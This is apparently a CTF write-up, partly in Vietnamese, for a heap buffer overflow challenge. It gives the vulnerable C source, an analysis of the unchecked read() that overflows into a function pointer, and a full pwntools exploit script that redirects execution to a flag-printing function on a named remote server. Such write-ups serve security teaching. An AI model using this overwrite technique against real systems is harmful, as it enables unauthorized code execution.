node user
Vulnerability: heap buffer overflow - improper buffer check in read()
Recon
Mitigation

Code
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
typedef struct node
{
size_t id, n;
char data[16];
void (*func_ptr)(char *);
size_t link[16];
} node;
node *nodes[16];
void node_method(char words[])
{
puts(words);
}
node *Create_Node(size_t id)
{
node *tmp = (node *)malloc(sizeof(node));
if (!tmp)
return NULL;
else
{
tmp->id = id;
tmp->n = 0;
tmp->func_ptr = &node_method;
memset(tmp->data, 0, sizeof(tmp->data));
memset(tmp->link, -1, sizeof(tmp->link));
return tmp;
}
}
void Link_Node(size_t src, size_t dest)
{
if (nodes[src] && nodes[dest])
{
for (int i = 0; i < nodes[src]->n; i++)
if (nodes[src]->link[i] == dest)
exit(-1);
node *src_node = nodes[src], *dest_node = nodes[dest];
src_node->link[src_node->n++] = dest;
dest_node->link[dest_node->n++] = src;
src_node->func_ptr("Done!");
}
else
{
puts("Invalid");
}
}
void Read_Graph(size_t start)
{
size_t is_visited[16] = {0}, n;
node *node_list[16], *tmp;
if (!nodes[start])
{
puts("Not created node");
return;
}
node_list[0] = nodes[start];
n = 1;
while (n)
{
tmp = node_list[0];
printf("Node: %llu\n", tmp->id);
is_visited[tmp->id] = 1;
tmp->func_ptr("Data: ");
read(0, tmp->data + strlen(tmp->data), 16);
tmp->func_ptr("Done!");
for (int i = 0; i < tmp->n; i++)
{
if (!is_visited[tmp->link[i]])
node_list[n++] = nodes[tmp->link[i]];
}
// remove the first element in node_list
for (int i = 0; i < n; i++)
node_list[i] = node_list[i + 1];
n--;
}
puts("Data saved");
}
void call_me()
{
system("cat flag");
}
void menu()
{
puts("1. Create node");
puts("2. Link nodes");
puts("3. Save data");
puts("4. Exit");
puts(">> ");
}
void setup()
{
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
}
int main()
{
size_t choice, id1, id2;
setup();
memset(nodes, 0, sizeof(nodes));
while (1)
{
menu();
scanf("%llu", &choice);
switch (choice)
{
case 1:
puts("Id: ");
scanf("%llu", &id1);
if (id1 < 16 && nodes[id1])
puts("Node exists");
else if (id1 >= 16)
puts("Invalid id");
else
{
nodes[id1] = Create_Node(id1);
nodes[id1]->func_ptr("Created");
}
break;
case 2:
puts("Node 1: ");
scanf("%llu", &id1);
puts("Node 2:");
scanf("%llu", &id2);
if (id1 < 16 && id2 < 16 && id1 != id2)
Link_Node(id1, id2);
else
puts("Invalid");
break;
case 3:
puts("Read from: ");
scanf("%llu", &id1);
Read_Graph(id1);
break;
case 4:
exit(0);
default:
puts("Invalid choice");
break;
}
}
return 0;
}Trước hết mình kiểm tra kích thước của struct node, bao gồm:
- id: 8 byte
- n (số link): 8 byte
- data: 16 byte
- function pointer: 8 byte
- 16 link (con trỏ đến các node khác): 8 * 16 = 128 byte Tổng là 160 byte.
Vì PIE disabled, nên mình đặt mục tiêu là ghi địa chỉ của hàm call_me() vào trường function pointer của node đã tạo để mở shell.
Lúc đầu mình nhìn vào hàm Link_Node():
void Link_Node(size_t src, size_t dest)
{
if (nodes[src] && nodes[dest])
{
for (int i = 0; i < nodes[src]->n; i++)
if (nodes[src]->link[i] == dest)
exit(-1);
node *src_node = nodes[src], *dest_node = nodes[dest];
src_node->link[src_node->n++] = dest;
dest_node->link[dest_node->n++] = src;
src_node->func_ptr("Done!");
}
else
{
puts("Invalid");
}
}Mình nghĩ rằng node->n ở đây không được kiểm tra liệu có đạt giới hạn hay chưa, bởi mỗi node chỉ có tối đa 16 link, nên có thể ở đây có out-of-bound write.
Nhưng giả thuyết của mình là sai, chương trình đi vào nhánh exit() khi link đầy. Tiếp theo mình để ý đến đoạn code này trong hàm Read_Graph():
tmp->func_ptr("Data: ");
read(0, tmp->data + strlen(tmp->data), 16);
tmp->func_ptr("Done!");Cho phép ghi vào vị trí node->data cộng thêm độ dài data đã ghi.
Solve
Vậy mình nghĩ ngay đến overflow trường data để ghi đè vào function pointer với địa chỉ của hàm call_me().
Script
#!/usr/bin/env python3
from pwn import *
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\x00"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
exe = ELF("node_node_node_patched")
context.terminal = ['tmux', 'splitw', '-h']
context.binary = exe
gdbscript = '''
b *0x00000000004015b2
set follow-fork-mode parent
set detach-on-fork on
continue
'''
def conn():
if args.LOCAL:
p = process([exe.path])
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
if args.DEBUG:
context.log_level = 'debug'
return p
else:
host = "103.75.186.106"
port = 1337
return remote(host, port)
p = conn()
def create_note(id):
slan(p, b'>>', 1)
slan(p, b'Id', id)
def save_data(id, data):
slan(p, b'>>', 3)
slan(p, b'from', id)
sa(p, b'Data', data)
create_note(1)
create_note(2)
save_data(1, b'A' * 15 + b'\0') # null at the end so strlen will just count 15 bytes
save_data(1, b'A' + p64(exe.symbols['call_me']))
ia(p)